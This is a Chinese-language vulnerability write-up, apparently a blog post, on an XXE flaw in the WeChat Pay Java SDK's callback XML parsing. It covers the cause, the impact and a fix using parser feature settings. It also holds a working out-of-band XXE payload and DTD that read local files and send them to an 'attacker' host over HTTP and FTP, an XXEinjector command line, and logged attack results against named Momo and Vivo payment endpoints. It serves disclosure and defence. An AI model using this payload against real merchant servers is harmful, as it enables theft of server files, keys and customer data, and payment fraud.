微信支付SDK开发组件漏洞

0x01 事件描述

2018年7月2日,Rose Jackcode在packetstormsecurity披露WeChat Pay SDK XXE Injection漏洞。该漏洞产生位置位于微信的XML处理功能函数,微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果。该接口主体为提供了webservice接口服务,并且接受XML格式的数据,攻击者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。

该漏洞可能导致商家服务器敏感信息(包括用户订单,用户私人数据等)泄露,甚至可以获取相关密钥数据(md5-key和merchant-id等)从而伪造支付数据包绕过付费环节。该批露文档中已经成功利用自动化工具读取了陌陌、vivo等互联网公司的数据信息。

0x02 漏洞分析

安装包位置:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

漏洞位置在: java-sdk-v3\src\main\java\com\github\wxpay\sdk\WXPayUtil.java , 第42行:

1

这里很明显存在 xxe 漏洞,直接用 parse 解析传入的 xml 格式文本。

readme.md 文件中,明确说明了这个方法是要起到什么作用。

2

从功能来看,主要作用应该是用来接收支付结果,所以一旦攻击者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)。

当然不止是一个问题,从发现者的twitter来看,似乎还有个反序列化的问题。由于java的反序列化还不熟,回头出了新版本,对比一下补丁,再补吧,或者有大佬发现了,可以和我交流一下,邮箱联系啥联系都行,让我也学习学习。

3

2018年7月3日晚更新

说是有反序列,可是我diff一下更新之后的,也就改了xxe,谁知道这个有没有呢.

5

0x03 漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % attack SYSTEM "file:///etc/">
<!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
%xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host: merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT

0x04 漏洞影响

目前漏洞影响蛮大,最新版本仍然受影响,在github上找到部分之前的源代码,这个问题在2017年2月17日的时候就存在了,尚不清楚这个是不是腾讯官方sdk,但是腾讯的人应该跟进了。

4

从披露来看,披露者已经攻击了陌陌和vivo,并获取了一些信息。

momo:

1
2
3
4
5
6
7
8
9
attack:
notify url: https://pay.immomo.com/weixin/notify
cmd: /home/

result:
logs
zhang.jiax**
zhang.shaol**
zhang.xia**
1
2
3
4
5
6
7
attack:
notify url: https://pay.immomo.com/weixin/notify
cmd: /home/logs

result:
moa-service
momotrace

Vivo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
attack:
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/

result:
tomcat


attack:
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/tomcat

result:
.bash_logout
.bash_profile
.bashrc
logs

0x05 漏洞修复

在\java-sdk-v3\src\main\java\com\github\wxpay\sdk\WXPayUtil.java, Line42之前添加如下Feature设置代码。(业务不影响的情况下选其一即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);

FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);

FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);

FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);

dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

0x06 参考链接

https://packetstormsecurity.com/files/148390/wechat-xxe.txt?utm_source=dlvr.it&utm_medium=twitter&from=groupmessage&isappinstalled=0